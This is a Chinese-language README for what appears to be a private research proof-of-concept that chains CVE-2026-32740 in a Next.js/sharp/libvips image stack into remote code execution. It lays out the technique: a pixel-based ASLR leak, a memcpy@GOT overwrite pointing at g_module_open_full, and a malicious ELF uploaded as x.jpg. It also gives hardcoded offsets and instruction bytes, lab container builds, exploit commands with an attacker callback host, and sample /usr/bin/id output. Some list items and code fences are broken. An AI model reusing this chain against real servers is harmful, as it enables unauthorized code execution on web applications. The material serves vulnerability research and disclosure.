Private Fortbridge PoC,针对 CVE-2026-32740 Next.js/sharp 泄漏到 memcpy-GOT RCE 利用链
可用的概念验证,将硬编码 Next.js/sharp 镜像栈中的 CVE-2026-32740 转化为选定地址写入和经过验证的 /usr/bin/id 回调。
这是 Fortbridge 的私有研究仓库。仅可针对随附的实验环境或您明确获授权测试的其他系统使用。
该漏洞利用仅使用目标的 HTTP 上传和图像优化路由:
g_module_open_full,这是一个 GModule 例程,封装了 dlopen 以从文件路径加载原生共享库。该漏洞利用将其运行时地址计算为恢复的 libvips 基址加上硬编码的配置文件偏移 0x3e995e。加载该库会运行其构造函数。/usr/bin/id。它通过公共上传路由将该 ELF 以图像名称 x.jpg 和媒体类型 image/jpeg 发送。memcpy@GOT - 16。uploads/x.jpg 紧邻存储在 GOT 槽之前,并用派生的 GModule 加载器替换 memcpy@GOT。下一行使用已在 RDI 中的库路径调用该加载器。/usr/bin/id 的输出。每次尝试的令牌可防止将过期的回调计为成功;返回的 uid=... 行即为证明。原始 libvips 相对验证运行记录在
evidence/libvips-gmodule-rce-10x.json 中。
所有十个全新进程均返回了有效的 /usr/bin/id 输出,具有十个不同的随机化 libvips 基址和十个独立派生的加载器地址。
确切的 Ubuntu 运行数据位于
evidence/libvips-gmodule-pie-rce-10x.json 中。
确切的 Debian 13 APT 运行数据位于
evidence/debian13-apt-libvips-gmodule-rce-10x.json 中。
我们针对 10 个新启动的 Ubuntu Node 进程和 10 个新启动的 Debian Node 进程测试了完整的漏洞利用。所有 20 次运行均达到了命令执行并返回了目标的 /usr/bin/id 输出。该漏洞利用还为每个随机化的 libvips 基址计算了不同的 GModule 加载器地址。
在创建最终载荷之前,该漏洞利用可能需要多次 ASLR 泄漏尝试。每次尝试上传泄漏 AVIF,将其通过优化路由发送,并检查返回的 PNG 中是否有四个指针,以识别一个配置文件和一个 libvips 基址。Ubuntu 需要 3 到 23 次尝试。Debian 需要 3 到 15 次。不完整或有歧义的证据会导致另一次尝试,而不是猜测配置文件。
该项目还有 96 个自动化回归测试。这些是代码级检查,而非 96 次额外的漏洞利用运行。它们涵盖配置文件验证、返回指针分类、堆校准、地址计算、载荷构造,以及当证据与受支持目标不匹配时的安全失败。
两个 x86-64 目标均使用 Next.js 15.5.23、sharp 0.34.4、捆绑的 libvips 8.17.2、捆绑的 libheif 1.20.2、ASLR 和 NX。它们的原生运行时不同:
| 配置文件 | Node | glibc | libstdc++ | 选择器关系 |
|---|---|---|---|---|
| Ubuntu | 25.8.1, PIE ET_DYN | 2.43-2ubuntu2.4 | 6.0.35 | 0x6000 - 0x690 = 0x5970 |
| Debian 13 | Debian APT 20.19.2, PIE ET_DYN | 2.41-12+deb13u4 | 6.0.33 | 0x6000 - 0x3a0 = 0x5c60 |
完整的构建 ID 和 SHA-256 值位于
profiles/native_stack_profiles_pie.json 中。
Debian 软件包、工件、路由冒烟测试和五生命周期布局测量记录在
evidence/debian13-profile-derivation.json 中。
Debian 目标使用标准发行版软件包
nodejs=20.19.2+dfsg-1+deb13u3;Node 并非从源代码编译。
该链不需要随机化的 Node 基址。其控制目标是 libvips 内部的 g_module_open_full 例程,其随机化基址从返回的像素中恢复。每个版本化配置文件硬编码了漏洞利用所需的构建特定常量:
memcpy@GOT 偏移和 g_module_open_full 偏移及其验证指令字节;随机化的 libvips 基址、由此产生的运行时加载器地址以及最终的两字节选择器并非硬编码。它们针对每个目标进程从返回的像素和所选配置文件派生。
当配置文件格式错误或返回的像素未恰好选择一个受支持的配置文件/基址对时,该漏洞利用会安全失败。stock 配置文件还需要其完整的返回堆记录。配置文件是精确的兼容性声明,因此操作员应在使用前离线验证目标工件。
加载器 ABI 很重要。被覆盖的调用在 RDI 中提供库路径,在 RSI 中提供图像行指针,在 RDX 中提供 58 字节的复制长度。这个精确配置的 GModule 例程仅使用来自 ESI 的受支持标志位,并且在成功加载路径上不解引用 RDX。在用于测量运行之前,离线测试装置验证了该入口点和指令签名。
libaom-av1 编码器的 ffmpegcc)安装唯一的 Python 依赖:```bash python3 -m venv .venv . .venv/bin/activate python3 -m pip install -r requirements.txt
确认 AV1 编码支持:```bash
ffmpeg -hide_banner -encoders | grep libaom-av1
该实验环境有意接受任意上传,并将选定的文件传递给 sharp。请勿将其暴露于不受信任的网络。```bash cd lab npm ci npm run build npm run start
目标随后可通过 `http://127.0.0.1:3000` 访问。
要围绕第一个 PIE 配置文件所使用的 Node 构件构建 Ubuntu 实验镜像:```bash
./scripts/build_ubuntu2604_container.sh
docker run --rm --network host \
fortbridge/libheif-grid-nextjs-rce:ubuntu2604
锁定摘要的 Ubuntu 26.04 镜像构建了配置文件中记录的精确 Node 25.8.1 PIE 产物,验证其 SHA-256,然后将其复制到干净的运行时阶段。需要从源码构建,因为 Node 的官方 Linux 二进制文件是 ET_EXEC,而此配置文件有意测试 PIE 可执行文件。
要使用 Debian 支持的 APT 包复现 Debian 目标:```bash
./scripts/build_debian13_container.sh
docker run --rm --network host
fortbridge/libheif-grid-nextjs-rce:debian13
镜像基于 digest 锁定的 Debian 13 slim 基础镜像构建。npm 仅存在于构建阶段;最终目标从 Debian APT 安装 Node,并运行相同的应用程序和路由。
## 运行漏洞利用
对于本地实验环境,目标地址和回调地址均使用回环地址:```bash
python3 exploit.py \
--target http://127.0.0.1:3000 \
--callback-host 127.0.0.1 \
--json-output result.json
默认 manifest 描述的是标准 ET_EXEC 实验环境。严格 PIE manifest 同时包含 Ubuntu 和 Debian 配置文件。exploit 会根据返回的像素在两者之间进行选择;无需使用 --profile:```bash
python3 exploit.py
--target http://127.0.0.1:3000
--callback-host 127.0.0.1
--profile-manifest profiles/native_stack_profiles_pie.json
对于授权的远程目标,`--callback-host` 必须是目标能够访问的攻击者 IPv4 地址。监听器默认绑定到所有本地接口:```bash
python3 exploit.py \
--target https://authorised-target.example \
--callback-host 203.0.113.10 \
--callback-port 31337 \
--json-output result.json
成功的结果包含:```json { "success": true, "profile_id": "node-25.8.1-pie-sharp-0.34.4-linux-x64", "libvips_base": "0x7f1234400000", "control_target": { "module": "libvips", "module_base": "0x7f1234400000", "module_build_id": "2c8b33114a735268d2211ca2003bc4a327b81411", "symbol": "g_module_open_full", "exported": false, "offset": "0x3e995e", "address": "0x7f12347e995e", "derivation": "0x7f1234400000 + 0x3e995e = 0x7f12347e995e", "abi": "path_rdi_flags_esi_error_rdx", "validating_bytes": "4157415641554989fd31ff415455534883ec48897424144889542418e8b1fdff" }, "heap_calibration": { "derived_selector": "0x5970", "selector_source": "profile_page_lane", "profile_candidate_selector": "0x5970", "profile_selector_evidence": { "anchor_page_low16": "0x6000", "fake_node_delta_from_anchor_page": "-0x690", "derivation": "(0x6000 + -0x690) & 0xffff = 0x5970" }, "record_candidate_selectors": [], "minimum_observations": 1, "observations": [ { "response_sha256": "...", "selector_source": "profile_page_lane", "candidate_selectors": ["0x5970"], "matches": [] } ] }, "upload_contract": { "calibration_leaks": {"content_type": "image/avif"}, "callback_library": { "filename": "x.jpg", "remote_path": "uploads/x.jpg", "content_type": "image/jpeg" }, "payload": {"content_type": "image/avif"} }, "classification": { "selected_attempt": 4, "selected_profile_id": "node-25.8.1-pie-sharp-0.34.4-linux-x64", "selected_base": "0x7f1234400000", "selected_anchors": [ {"offset": "0x1be1b0", "value": "0x7f12345be1b0", "repetitions": 1}, {"offset": "0x1c3120", "value": "0x7f12345c3120", "repetitions": 3}, {"offset": "0x1c3130", "value": "0x7f12345c3130", "repetitions": 3}, {"offset": "0x33cd0c", "value": "0x7f123473cd0c", "repetitions": 1} ], "rejected_candidates": [] }, "callback": { "token_matched": true, "proof_command": "/usr/bin/id", "command_output": "uid=1000(research) gid=1000(research) groups=1000(research)" } }
终端还会直接打印结果:```text
[RCE] /usr/bin/id -> uid=1000(research) gid=1000(research) groups=1000(research)
优化器请求通常以连接断开结束,目标进程通常会在回调后终止。这些事件会被记录以供参考,但并非成功条件。